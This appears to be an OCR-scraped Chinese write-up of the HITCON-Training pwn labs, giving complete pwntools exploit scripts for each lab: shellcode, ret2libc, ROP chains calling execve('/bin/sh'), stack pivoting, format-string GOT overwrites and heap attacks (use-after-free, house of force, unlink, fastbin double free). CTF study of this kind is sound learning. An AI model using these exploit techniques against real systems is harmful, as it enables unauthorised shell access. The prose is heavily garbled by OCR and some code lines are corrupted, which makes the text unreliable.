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lab1-sysmagic

AR R A, Fget flagei B fiZ 4R Rk BRI AT, B4R W 7 VAR AN U T
WEAIIMEL, flaghd s SHANTCoE, K ikn] L id patchsl & /it B #2385 flag

patch

e

111
112
d 113
114
115
116
117

11

e S T e e y» =i
read(fd, &buf, 4u);
printf("Give me maigec :");
__isoc99_scanf("¥d", &v2);
if ( buf 1=z v2 ) // patch
{
for (i = @; i <= @x30; ++i ) |
putchar((char)(*(&/5 + i) ~ vE4[i]));
1

BB HIBEI T, patch)5 fRfF21T, S AMERERI ] 153flag

[masteree] ./sysmagic
Give me maigc :a

CTF{debugger_1s_so_p@werful_1n_dyndmlc_4n4lySis! }E
[masteree]

W

RS, AR LT E A emplii 2 RIAT, AT LUl gdbif ik, 78 il 5 v T3 2 i 2% 1

call ___isoc99_scanf

; 137: if ( buf == v2 )
add esp, 1@h

mov edx, [ebp+buf]
mov eax, [ebp+var_7C]
cmp edx, eax

jnz short loc_80848768

H#5 HgdbiiA



labl [masteree] cat solve
b *get flag+389

r

#your input

set $eax=$edx

c

labl [masteree]

1] 15 #flag

[masteree]
b *get flag+389
"
#your input
set $eax=$edx
C

[masterees] gdb ./sysmagic.bak -qg

Reading symbols from ./sysmagic.bak...(no debugging symbols found)...done.
source solve

Breakpoint 1 at @x8848720

Give me maigc :a

Breakpoint 1, ©x88848728 in get_flag ()
CTF{debugger_1s so_p@werful 1n_dyndmlc_4n4lySis!}[Inferior 1 (process 18660) exited normally|]

Ry, IDAX AR RS T A, A28 0570 BLZ2inndy ) ROP2
lab2-orw.bin
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http://www.cnblogs.com/WangAoBo/p/7706719.html

lab2 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
from pwn import shellcraft as sc
context.log_level = "debug"

shellcode = sc.pushstr("/home/m4x/HITCON-Training/LAB/lab2/testFlag")
shellcode += sc.open("esp")

#  openiR [\l B S SCAF R R I TR eax B 47 a4 L

shellcode += sc.read("eax", "esp", 0x100)

#  open LU A AEAR T

shellcode += sc.write(1, "esp", 0x100)

io = process("./orw.bin")
io.sendlineafter("shellcode:", asm(shellcode))
print io.recvall()

io.close()

lab2 [masteree]

% 5 pwnable. twitjorwZALl,  AIE B ffwriteupfR 2, RIS BRI A 7 T
lab3-ret2sc

1R fai # (i) ret2shellcode, 1557 7T ENXHflcanaryfrf, itishellcodeff it fEnameix 4 a8 & |-, Jfretf]ix
HiuhikRpAy

lab3 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
context(os = "linux", arch = "i386")

io = process("./ret2sc")

shellcode = asm(shellcraft.execve("/bin/sh"))

io.sendlineafter(":", shellcode)

payload = flat(cyclic(32), 0x804a060)

io.sendlineafter(":", payload)
io.interactive()

io.close()
lab3 [masteree]
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; Bz read(@, &name, @x32u);

mov dword ptr [esp+8], 32h ; nbytes

mov dword ptr [esb+4], offset name ; buf
mov dword ptr [esp], @ ; fd

call _read

. 7. e T s s mmak .

lab4-ret2lib

ret2libc, JFHEFHCEH 17— UEHgotR P E K K% See_something, Hi%leakitilibcBase, it
one_gadgets# system("/bin/sh")#i 7] Liget shell, /bin/sha] LLAE Hliber (745 8, ] L it readis A 2 3 47
i, AT LU A binary i 7 45

lab4 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

io = process("./ret2lib")
elf = ELF("./ret2lib")
libc = ELF("/1ib/i386-1inux-gnu/libc.so0.6")

io.sendlineafter(" :", str(elf.got["puts"]))
io.recvuntil(" : ")
libcBase = int(io.recvuntil("\n", drop = True), 16) - libc.symbols["puts"]

success("libcBase -> {:#x}".format(libcBase))
# oneGadget = libcBase + 0x3a9fc

# payload = flat(cyclic(60), oneGadget)
payload = flat(cyclic(60), libcBase + libc.symbols["system"], Oxdeadbeef, next(elf.search("sh\x00")))
io.sendlineafter(" :", payload)

io.interactive()

io.close()
lab4 [masteree]

lab5-simplerop

KRB EE AR, 88 iE ROPgadget/roppers: 1. B4 i firopchain— i &, 1B Sz brig/Em & Blread
BB R YFEE AN1004 745, L BRbuf#main ek R [l bk (R Fs 832, F-AT—3545100 - 32 = 681K & Skt it
ropchain, Tfiiropper/ROPgadget® H i1 4 ¥ ropchain#fi K T 1X MK E, X 75 2R ATTAS L& itropchain 17, iX
B gAML, ik — T ropperd: B ropchain >k 4 56 K i

ropper -file ./simplerop --chain "execve cmd=/bin/sh"

ROPgadget --binary ./simplerop --ropchain

2% — Fropper’E ik ffjropchain



#!/usr/bin/env python

# Generated by ropper ropchain generator #

from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_©

rop

rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop

rebase_0(0x00072e06)
'//bi!
rebase_0(0x0002682a)
rebase_0(0x000a3060)
rebase_0(0x0005215d)
rebase_0(0x00072e06)
‘'n/sh'
rebase_0(0x0002682a)
rebase_0(0x000a3064)
rebase_0(0x0005215d)
rebase_0(0x00072e06)
p (0x00000000)
rebase_0(0x0002682a)
rebase_0(0x000a3068)
rebase_0(0x0005215d)
rebase_0(0x000001c9)
rebase_0(0x000a3060)
rebase_0(0x0009e910)
rebase_0(0x000a3068)
rebase_0(0x0002682a)
rebase_0(0x000a3068)
rebase_0(0x00072e06)
p (0x0000000b)
rebase_0(0x00026ef0)

print rop

[INFO] rop chain generated!

] FEL A

/bin/sh,

H—TF I, i
ecx=edx=0, RJ5iENL

BRI @ H ROP2

1M 240 %2 ropperss
(151

= 0Xx08048000 #
rebase_© = lambda x : p(x +

./simplerop
IMAGE_BASE_0)

# Ox080bae06:

# O0x0806e82a:

# 0x0809al15d:
# Ox080bae06:

# O0x0806e82a:

# 0x0809al15d:
# Ox080bae6:

# O0x0806e82a:

# 0x0809al15d:
# 0x080481c9:

# 0x080e6910:

# 0x0806e82a:

# Ox080bae06:

# Ox0806eef0:

&1 H B34 s fropehainy ,

pop eax; ret;

pop edx; ret;

mov dword ptr
pop eax; ret;

pop edx; ret;

mov dword ptr
pop eax; ret;

pop edx; ret;

mov dword ptr
pop ebx; ret;

pop ecx; push

pop edx; ret;

pop eax; ret;

int Ox80; ret;

[edx], eax; ret;

[edx], eax; ret;

[edx], eax; ret;

cs; or al, 0x41; ret;

— R ¥pop|retZ:gadget, {fifFeax = 0xb (execve 32/ NI RS IHHS) , ebx->
mitint Ox80sL I Z 4, #HiTexecve("/bin/sh", 0, 0), hackme.inndy [ 4 —

2 RIARZ DBRIRED I, UM R, s— " iete)a


http://www.cnblogs.com/WangAoBo/p/7706719.html#_label3

#!/usr/bin/env python

# Generated by ropper ropchain generator #

from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_©O = 0x08048000 # ./simplerop

rebase_© = lambda x :

pop_edx_ecx_ebx = 0x0806e850

rop

p(x + IMAGE_BASE_0)

# write /bin/sh\x00 to 0x08048000 + ©x000a3060
rebase_0(0x00072e06) # Ox080baed6: pop eax; ret;

rop
#

rop
rop
rop
rop
rop
rop
rop
rop
rop
pri

H OH OH O OH O OH OH OH OH R

+=
rop

+=

+=
nt

rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop

+=

'//bi’

'/bin’

rebase_0(0x0002682a)

rebase_0(0x000a3060)

rebase_0(0x0005215d)
rebase_0(0x00072e06)

'/sh\x00"

rebase_0(0x0002682a)

rebase_0(0x000a3064)

rebase_0(0x0005215d)
"[+]write /bin/sh\x00

# set ebx

rebase_0(0x00072e06)
p (0x00000000)

rebase_0(0x0002682a)
rebase_0(0x000a3068)
rebase_0(0x0005215d)
rebase_0(0x000001c9)
rebase_0(0x000a3060)
rebase_0(0x0009e910)
rebase_0(0x000a3068)
rebase_0(0x0002682a)
rebase_0(0x000a3068)

# O0x0806e82a:

# 0x0809a15d:
# Ox080bae6:

# O0x0806e82a:

# 0x0809al15d:

# Ox080bae06:

# 0x0806e82a:

# Ox0809al15d:
# 0x080481c9:

# 0x080e6910:

# 0x0806e82a:

-> /bin/sh\x00, ecx = edx = ©
rop += pack('I', pop_edx_ecx_ebx)

rop += p(0@)

rop += p(0@)

rop += rebase_0(0x000a3060)
print "[+]set ebx -> /bin/sh\x@0, ecx = edx = 0"

pop

pop

mov
pop

pop

pop

pop edx; ret;

pop eax; ret;

pop edx; ret;

eax; ret;

edx; ret;

mov dword ptr [edx], eax; ret;

mov dword ptr [edx], eax; ret;
to 0x08048000 + Ox000a3060"

dword ptr [edx], eax; ret;

ebx; ret;

ecx; push cs; or al,

edx; ret;

rop += rebase_0(0x00072e06) # Ox080baed6: pop eax; ret;
rop += p(0©x0000000b)
rop += rebase_0(0x00026ef0) # Ox0806eefd: int Ox80; ret;
asset len(rop) <= 100 - 32

0x41; ret;

FEBRACASAEMNEE T, EEM4L T #/bin/shix00H2 A LL K2 1% Eebx, ecx, edxZ:

o HZreturnread B %, Ki/bin/sh\x00 readl|bss/datal, #4521 % J& ffiropchain

=

=i

fran LR
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lab5 [masteree] cat solve.py

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

from struct import pack

p = lambda x : pack('I', x)

IMAGE_BASE_O@ = 0x08048000 # ./simplerop

rebase_© = lambda x

pop_edx_ecx_ebx = 0x0806e850

rop

: p(x + IMAGE_BASE_@)

# write /bin/sh\x00 to 0x08048000 + ©x000a3060
rebase_0(0x00072e06) # Ox080baed6: pop eax; ret;

rop
#

rop
rop
rop
rop
rop
rop
rop
rop
rop
pri

H OH OH O OH OB OH OH OH OH R

+=
rop
+=

nt

rop
rop
rop
rop
rop
rop
rop
rop
rop
rop
rop

+= '//bi’
'/bin’

rebase_0(0x0002682a) # 0Ox0806e82a:

rebase_0(0x000a3060)

rebase_0(0x0005215d) # ©x0809a15d:
rebase_0(0x00072e06) # Ox080baed6:
= '/sh\x00'
rebase_0(0x0002682a) # 0Ox0806e82a:

rebase_0(0x000a3064)

rebase_0(0x0005215d) # ©x0809al15d:

pop edx; ret;

mov dword ptr [edx], eax; ret;
pop eax; ret;

pop edx; ret;

mov dword ptr [edx], eax; ret;

"[+]write /bin/sh\x00 to 0x08048000 + Ox000a3060"

+= rebase_0(0x00072e06)
+= p(9x00000000)

+= rebase_0(0x0002682a)
+= rebase_0(0x000a3068)
+= rebase_0(0x0005215d)
+= rebase_0(0x000001c9)
+= rebase_0(0x000a3060)
+= rebase_0(0x0009e910)
+= rebase_0(0x000a3068)
+= rebase_0(0x0002682a)
+= rebase_0(0x000a3068)

# Ox080bae06:

# 0x0806e82a:

# Ox0809al15d:
# 0x080481c9:

# 0x080e6910:

# 0x0806e82a:

# set ebx -> /bin/sh\x00, ecx = edx = ©

rop
rop
rop
rop
pri

rop
rop
rop
ass

io

+=
+=
+=
+=

nt

+=
+=
+=

ert

=p

pack('I', pop_edx_ecx_ebx)

p(@)
p(@)
rebase_0(0x000a3060)

pop

pop

mov
pop

pop

pop

"[+]set ebx -> /bin/sh\x00, ecx = edx = 0"

eax; ret;

edx; ret;

dword ptr [edx], eax; ret;
ebx; ret;

ecx; push cs; or al, ox41;

edx; ret;

rebase_0(0x00072e06) # Ox080baed6: pop eax; ret;

p(9x0000000b)

rebase_0(0x00026ef0) # Ox0806eefd: int Ox80; ret;

len(rop) <= 100 - 32

rocess("./simplerop")

ret;



payload = cyclic(32) + rop
io.sendlineafter(" :

, payload)

io.interactive()
io.close()

lab6-migration
BRI 1 i)
B H A 0x40-0x28-0x4=20> 7

il

(i

if ( count != 1337 )
exit(1);

T LABRAT Tt A el 20

, AT DUE XA EUH ECER R 77 M A1 P R BR )
T AT AR itiropehain

Stack Pivoting Explained

i Uy

A fake stack
containing a ROP
payload is stored
somewhere in
attacker-controlled
memory

0x00000000

Controlled
memory

Stack Pointer p

2.

Using a memory
corruption bug, the
attacker executes a
‘pivot gadget’ which
modifies the stack
pointer’'s value

OXFFFFFFFF

Fiexp:

by @bellis1000

3 0x00000000

The stack pointer now
points to the start of
the attacker-controlled
memory

Stack Pointer p
Controlled

memo ry
4.

The target system now
treats this entire
block of memory as
the stack

B

The attacker now has
the ability to
execute a large ROP
payload on the new
‘fake stack’
OxXFFFFFFFF

PR (R A mainilz [B] Blexitim 193, FE 7 RS 2 Bl

i ropchainki#ifrrop 17, KT HRiTH (R Astack-pivot) 7] LLEIX P slide

6.

Execution of the
payload works its
way down the gadget
addresses stored on
the fake stack

The attacker may
need to restore the
old stack pointer
after exploitation
to allow the
program to continue
executing normally



https://github.com/M4xW4n9/slides/blob/master/pwn_stack/DEP%20%2526%20ROP.pdf%250A

lab6 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
from time import sleep
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]
def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)

elf = ELF("./migration")
libc = elf.libc

# bufAddr = elf.bss()
bufAddr 0x080423000
readPlt = elf.plt["read"]
readGot = elf.got["read"]
putsPlt = elf.plt["puts"]
plret = 0x0804836d

p3ret = 0x08048569
leaveRet = 0x08048504

io = process("./migration")

# DEBUG()

payload = flat([cyclic(0x28), bufAddr + 0x100, readPlt, leaveRet, 0, bufAddr + 0x100, 0x100])
io.sendafter(" :\n", payload)

sleep(0.1)

payload = flat([bufAddr + 0x600, putsPlt, plret, readGot, readPlt, leaveRet, ©, bufAddr + 0x600, 0x100])
io.send(payload)

sleep(0.1)

# print io.recv()

libcBase = u32(io.recv()[: 4]) - libc.sym['read']

success("libcBase -> {:#x}".format(libcBase))

pause()

payload = flat([bufAddr + 0x100, readPlt, p3ret, @, bufAddr + 0x100, 0x100, libcBase + libc.sym['system']
io.send(payload)

sleep(0.1)

io.send("$0\0")

sleep(0.1)

io.interactive()
io.close()

FERERE— 1, Seidad 3 sl o] DA ] 1120 15 ¥ espta S B #2 Hbss By, AR LT UNETERCN T s
K Tstack-pivot, pwnable.kr(¥jsimple_login/ R4 Ji @ H, Ji bE— iR X E SR wp
EANEHFAN R, sendline2xgg, sendsf il PL, FEatum AL 2 E3 T R IA

lab7-crack


https://blog.csdn.net/yuanyunfeng3/article/details/51456049
http://atum.li/2016/09/20/ctf-strange/

i name A B W 1A% AL 247 BB i, XSS R AR 2, nTLARHfsbii S password, 5 leak i
password, 7] LLE it fsb, hijack puts_got#l|system("cat flag")4b (73 = printfsPrifi H 1 puts)

lab7 [masteree] cat hijack.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

putsGot = 0x804A01C
bullet = 0x804872B

io = process("./crack")
payload = fmtstr_payload(10, {putsGot: bullet})
io.sendlineafter(" ? ", payload)

io.sendline()

io.interactive()

io.close()

lab7 [masteree] cat overwrite.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

pwdAddr = Ox804A048
payload = fmtstr_payload(10, {pwdAddr: 6})

io = process("./crack")

io.sendlineafter(" ? ", payload)
io.sendlineafter(" :", "6")

io.interactive()

io.close()

lab7 [masteree] cat leak.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

pwdAddr = Ox804A048

payload = p32(pwdAddr) + "|%10%s||"

io = process("./crack")

io.sendlineafter(" ? ", payload)
io.recvuntil("|")

leaked = u32(io.recvuntil("||", drop = True))
io.sendlineafter(" :", str(leaked))

io.interactive()
io.close()



32fi f¥ybinary ] LA H.4%{# ] pwntools®t % i [ fmtstr_payload i £ :
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| pwn. fmtstr_payload: (offset,

lab8-craxme
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lab8 [masteree] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
from sys import argv
context.log_level = "debug"

magicAddr = ELF("./craxme").sym["magic"]

if argv[1l] == "1":
payload = fmtstr_payload(7, {magicAddr: oxda})
else:
payload = fmtstr_payload(7, {magicAddr: Oxfacebooc})

io = process("./craxme")
io.sendlineafter(" :", payload)
io.interactive()

io.close()

W AR ZL H s Hilfmtstr_payloadZhfig, RILAZHIX

I
<
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lab9-playfmt
lab10-hacknote

B fa] FL ) —FhuafF ], 5tk A e dioR e, T8I uaffEhliZ e BER R A magice £ /I TT, a4l A IX

“slide

exp:


https://paper.seebug.org/246/
https://github.com/M4xW4n9/slides/blob/master/pwn_heap/malloc-150821074656-lva1-app6891.pdf

labl@ [mastere] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
context.log level = "debug"
context.terminal = ["deepin-terminal”,

def debug():
raw_input("DEBUG: ")
gdb.attach(io)

io = process("./hacknote")
elf = ELF("./hacknote")
magic_elf = elf.symbols["magic"]

def addNote(size, content):
io.sendafter("choice :", "1")
io.sendafter("size ", str(size))
io.sendafter("Content :"

def delNote(idx):
# debug()
io.sendafter("choice :", "2")
io.sendafter("Index :", str(idx))

def printNote(idx):
# debug()
io.sendafter("choice :", "3")
io.sendafter("Index :", str(idx))

def uaf():
addNote(24, "a" * 24)
addNote(24, "b" * 24)

delNote(9)
delNote(1)
# debug()
addNote(8,p32(magic_elf))

printNote(0)

if __name__ == "__main__":

uaf()
io.interactive()
io.close()

Y T EABEIDAT LRI
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& X | [[51DA view-A [] | L= Pseudocode-A [

[SlLocal Types £ | (O] Hex View-1 (] | [A] Structures 1 | [E]  Enums

B Imports [ | &

21| ordnal I Narme | Size | Sync | Description
1 Elf32_Sym 00000010 Auto struct __attribute_ ((aligned(4))) {unsigned __int32 st_name;unsigned __int32 st_value;unsignec
2 Elf32_Rel 00000008 Auto struct {unsigned __int32 r_offset;unsigned __int32 r_info;}
3 Elf22_Dyn 00000008 Auto struct {__int32 d_tag;union EIf22_Dyn:: $A263304DDF3EC2D4B 1B8448EDD30E249 d_un;}
4 Elf32_Dyn::$A26339400F ... 00000004 Auto union {unsigned __int32 d_val;unsigned __int32 d_ptr;}
*
Flease enter new type declaration(s)
struct note {
void (*printnote)();
char *content ;
b
v 0K I Cancel Help
»
8 X
. . = N N
shift+F9,insert 5 A A TN N local type
I.UJ Library function [l Regular function [ Instruction Data Unexplored External symbol
Functions window 0 # x| [Emavewal] | [Elpseudocodes ] | [Ztocal Types (] | [ElHex view-1(] (A structures @ | [ Enums [ | Imports [ | Exports [
Function name = ; Ins/Del create/delete structure il
J""ﬁ' poeeeeed ; D/A/* create structure member (data/ascii/array)
;t [00RRBRAe ; N rename structure or structure member
" stack chic fal peoeeLes ; U delete structure member
_malloc 0eeeeeee ; [0000ee18 BYTES. COLLAPSED STRUCT E1f32_Sym. PRESS CTRL-NUMPAD+ TO EXPAND]
_puts 0eeeEeee ; [0000ee88 BYTES. COLLAPSED STRUCT E1f32_Rel. PRESS CTRL-NUMPAD+ TO EXPAND]
atesy 000REEEe ; [0PPEPeR] BYTES. COLLAPSED STRUCT E1f32 Dwn. PRESS CTRL-NUMPAD+ TO EXPAND1
I" . poeeEeee ; [o00000E
___libc_start_main
_setvbuf Type name | Declaration |Type library
_atoi xvmecSurfacelnfo struct $BE4469CDEIA 1S8FEF 141EBISE29DCEST GNU C++ unix
__gmon_start__ yp_buf struct $149F28F052847352C6CED46BA2E57S5A GNU C++ Unix
f_ ypall_calback struct {int (*foreach)(int status, char *key, int keylen, char *val, int valen.. GNU C++ unix
[ ypbind_binding struct {char ypbind_binding_addr[4];char ypbind_binding_part[2];} GNU C++ unix
[ TS GRS |struc 1 LI yphind_resp struct {ypbind_resptype ypbind_status;union ypbind_resp::$CD49527FE0..  GNU C++ unix
[ o = ypbind_setdom struct {domainname ypsetdom_domain;ypbind_binding ypsetdom_binding... GNU C++ unix
[ ypdelete_args struct {char *mapname;yp_buf kay;} GNU C++ unix
[ | I create before curent structure ypmap_parms struct {domainname domain;mapname map;u_int ordernum;pearmame pe...  GNU C++ Unix
I FTrRE— ypmaplist struct {mapname map;struct ypmaplist *next;} GNU C++ unix
i G b i i e yppushresp_xfr struct {u_int transid;yppush_status status;} GNU €+ Unix
[ I™ create union ypreq_key struct {domainname domain;mapname map;keydat key;} GNU C++ unix
L ypreq_nokey struct {domainname domain;mapname map:} GNU C++ unix
[ ypreg_xfr struct {ypmap_parms map_parms;u_int transid;u_int prog;u_int port;} GNU C++ unix
[ _Add standard structure ypresp_all struct {bool_t more;union ypresp_all:: $438EBSCOF7 13AEEQ9COEADCLICE2... GNU C++ unix
[| ypresp_key_val struct {ypstat stat;valdat val;keydat key;} GNU C++ unix
i Ok I el | hep | ypresp_mapist struct {ypstat stat;ypmaplst *maps;} GNU C++ Linix
% ypresp_master struct {ypstat stat;peername peer;} GNU C++ Lnix
Line 28 of 44 ypresp_order struct {ypstat stat;u_int ordernum;} GNU C++ Unix
& Graph overview o8& x | ypresp_val struct {ypstat stat;valdat val;} GNU C++ Unix
H ypresp_xfr struct {u_int transid;ypxfstat xfistat;} GNU C++ unix
ypupdate_args struct {char *mapname;yp_buf key;yp_buf datum;} GNU C++ unix
z_stream struct z_stream_s GNU C++ unix
z_stream_s struct {Bytef *next_in;ulnt avail_in;uLong total_in;Bytef *next_out;ulnt a... GNU C++ unix
m" __User_cap_data_struct struct {__u32 effective; __u32 permitted; __u32 inheritable;} GNU C++ x86 Linux
o = __user_cap_header_struct struct {__u32 version;int pid;} GNU C++ x86 Linux

Output window

EIf32_Sym
Eif32_Rel

struct __attribute__((aligned(4))) {unsigned __int32 st_name;unsigned _
struct {unsigned __int32 r_offset;unsigned __int32 r_info;}

Local type definitions
Local type definitions

’TNABH: using guessed type int count; H Elf32_Dyn struct {__int32 d_tag;union EIf32_Dyn::$A263394DDF3EC2D4B1B8448ED... Local type definitions
Python ” [E note struct {void (__cdecl *printnote)();char *content;} Local type definitions
Bauiide  [pown [pisk: 2068 e 1 raea | ocamen | e |
IERATE IR by —F, #1EHEdR I
24 read(@, &buf, 8u);
25 size = atoi(&buf);
26 vB = notelist[i];
27 va[1] = malloc(size);
28 «
29
38 Please enter the type declaration |struct note *v0 ;l
31 Ok I Cancel |

32
33
34

A

Brintf("Content b
read(@, *((void **)notelist[i] + 1), size);

PRI SRR B | I P, LILLE T
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24 read(@, &uf, 8u);
25 size = atoi(&buf);

26 v@ = (struct note *)notelist[i];

27 vB@->content = (char *)malloc(size);
28 if ( !'*((_DWORD *)notelist[i] + 1) )
29 {

lab11-bamboobox
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labll [mastere] cat hof.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

from zio import 164

from time import sleep

import sys

context.log level = "debug"

context.terminal = ["deepin-terminal®, "-x", "sh", "-c"]

io = process("./bamboobox")

def DEBUG():
raw_input ("DEBUG: ")
gdb.attach(io)

def add(length, name):
io.sendlineafter(":", "2")
io.sendlineafter(":", str(length))

io.sendafter(":", name)

def change(idx, length, name):
io.sendlineafter(":", "3")
io.sendlineafter(":", str(idx))
io.sendlineafter(":", str(length))

io.sendafter(":", name)

def exit():
io.sendlineafter(":", "5")

if _name__ == "__main__":
add(0x60, cyclic(ex60))
# DEBUG()

change (9, 0x60 + 0x10, cyclic(Ox60) + p64(0) + 164(-1))

add(-(0x60 + 0x10) - (0x10 + 0x10) - 0x10, 'aaaa') # -(sizeof(item)) - sizeof(box) - ©x10
add(0x10, p64(ELF("./bamboobox").sym[ 'magic']) * 2)

exit()

io.interactive()
io.close()

unlink

ZFunlink, EXAslider HEARIERINH, BALEDI] A T

labll [mastere] cat unlink.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
from time import sleep
import sys


https://github.com/M4xW4n9/slides/blob/master/pwn_heap/malloc-150821074656-lva1-app6891.pdf

context.arch = 'amd64'
context.log level = "debug"

context.terminal = ["deepin-terminal®, "-x", "sh", "-c"]

io = process("./bamboobox")

# process("./bamboobox").1libc will assign libc.address but ELF("./bamboobox") won't
# 1ibc = io.libc

elf = ELF("./bamboobox")

libc = elf.libc

def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io)

def show():
io.sendlineafter(":", "1")

def add(length, name):
io.sendlineafter(":", "2")
io.sendlineafter(":", str(length))

io.sendafter(":", name)

def change(idx, length, name):
io.sendlineafter(":", "3")
io.sendlineafter(":", str(idx))
io.sendlineafter(":", str(length))

io.sendafter(":", name)

def remove(idx):

io.sendlineafter(":", "4")
io.sendlineafter(":", str(idx))

def exit():
io.sendlineafter(":", "5")

if _name__ == "__main__":
add(ex40, 'e' * 8)
add(ex80, '1' * 8)
add(ex40, '2' * 8)
ptr = 0x6020c8

fakeChunk = flat([0@, ox41, ptr - ©x18, ptr - 0x10, cyclic(0x20), 0x40, 0x90])
change (9, 0x80, fakeChunk)

remove (1)

payload = flat([0, 0, 0x40, elf.got['atoi']])

change (0, 0x80, payload)

show()

libc.address = u64(io.recvuntil("\x7f")[-6: ].1ljust(8, '\x@0')) - libc.sym['atoi']
success("libc.address -> {:#x}".format(libc.address))

# libcBase = u64(io.recvuntil("\x7f")[-6: ].1ljust(8, '\x00')) - libc.sym['atoi']
# success("libcBase -> {:#x}".format(libcBase))

pause()

change(0@, 0x8, p64(libc.sym['system']))
# change(0, 0x8, p64(libcBase + libc.sym['system']))
io.sendline('$0")

io.interactive()
io.close()
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lab12-secretgarden
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https://github.com/M4xW4n9/slides/blob/master/pwn_heap/advanceheap-160113090848.pdf

labl2 [mastere] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
context.log_level = "debug"
context.terminal = ["deepin-terminal", "-x", "sh", "-c"]

def DEBUG():
raw_input("DEBUG: ")
gdb.attach(io, "b *@x4009F2")

def Raise(length, name):
io.sendlineafter(" : ", "1")
io.sendlineafter(" :", str(length))
io.sendafter(" :", name)
io.sendlineafter(" :", "nb")

def remove(idx):
io.sendlineafter(" : ", "3")
io.sendlineafter(":", str(idx))

if _name__ == "__main__":
# 1io = process("./secretgarden", {"LD_PRELOAD": "./libc-2.23.s0"})
io = process("./secretgarden")

Raise(0x50, "000") # ©
Raise(0x50, "111") # 1

remove(@) # ©

# pause()

remove(l) # 1 -> 0@
remove(@) # 0 -> 1 -> 0

magic = ELF("./secretgarden").sym["magic"]
fakeChunk = @x601ffa
payload = cyclic(6) + p64(Q) + p64(magic) * 2

Raise(0x50, p64(fakeChunk)) # ©
Raise(@x50, "111") # 1
Raise(0x50, "000")

# DEBUG()

Raise(0x50, payload)

io.interactive()
io.close()

lab13-heapcreator
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https://github.com/M4xW4n9/slides/blob/master/pwn_heap/advanceheap-160113090848.pdf

lab1l3 [mastere] cat solve.py
#!/usr/bin/env python

# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *
context.log level = "debug"

def create(size, content):

io.sendlineafter(" :", "1")
io.sendlineafter(" : ", str(size))
io.sendlineafter(":", content)
def edit(idx, content):
io.sendlineafter(" :", "2")
io.sendlineafter(" :", str(idx))
io.sendlineafter(" ", content)
def show(idx):
io.sendlineafter(" :", "3")
io.sendlineafter(" :", str(idx))
def delete(idx):
io.sendlineafter(" :", "4")
io.sendlineafter(" :", str(idx))

if _name__ == "__main__":
io = process("./heapcreator”, {"LD_LOADPRE": "/1lib/x86_64-1linux-gnu/libc.so0.6"})
libc = ELF("/1ib/x86_64-1linux-gnu/libc.so.6")

create(0x18, '0000') # ©
create(Ox10, '1111') # 1

payload = "/bin/sh\@" + cyclic(0x10) + p8(0x41)
edit(@, payload) # overwrite 1

delete(1) # overlapping chunk

freeGot
payload

0Xx0000000000602018

p64(0) * 4 + p64(0x30) + p64(freeGot)
create(0x30, payload)

show(1)

libcBase = ub4(io.recvuntil("\x7f")[-6: ].1ljust(8, "\x@0")) - libc.sym["free"]
success("libcBase -> {:#x}".format(libcBase))

# pause()

edit(1, p64(libcBase + libc.sym["system"]))

delete(9)

io.interactive()
io.close()

lab14-magicheap



#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = "M4x'

from pwn import *

from time import sleep

import sys

context.log level = "debug"

context.terminal = ["deepin-terminal®, "-x", "sh", "-c"]

io = process("./magicheap")
elf = ELF("./magicheap")
# 1libc = ELF("")

def DEBUG():
raw_input ("DEBUG: ")
gdb.attach(io)

def create(size, content, attack = False):
io.sendlineafter("choice :", "1")
io.sendlineafter(" : ", str(size))

io.sendlineafter(":", content)

def edit(idx, size, content):
io.sendlineafter("choice :", "2")
io.sendlineafter(" :", str(idx))

io.sendlineafter(" : ", str(size))

io.sendlineafter(" : ", content)

def delete(idx):
io.sendlineafter("choice :", "3")
io.sendlineafter(" :", str(idx))

if __name__ == "__main__":
create(0x10, 'aaaa')
create(0x80, 'bbbb')
create(0x10, 'cccc')

delete(1)

payload = cyclic(0x10) + p64(0) + p64(0x91) + p64(0) + p64(elf.symbols["magic"] - 0x10)
edit(@, 0x10 + 0x20, payload)

create(0x80, 'dddd')
io.sendlineafter("choice :", "4869")

io.interactive()
io.close()

lab15-zoo

3T https://www.cnblogs.com/WangAoBo/p/hitconTraining_wp.html


https://github.com/M4xW4n9/slides/blob/master/pwn_others/pwnincplusplus-160217120850.pdf
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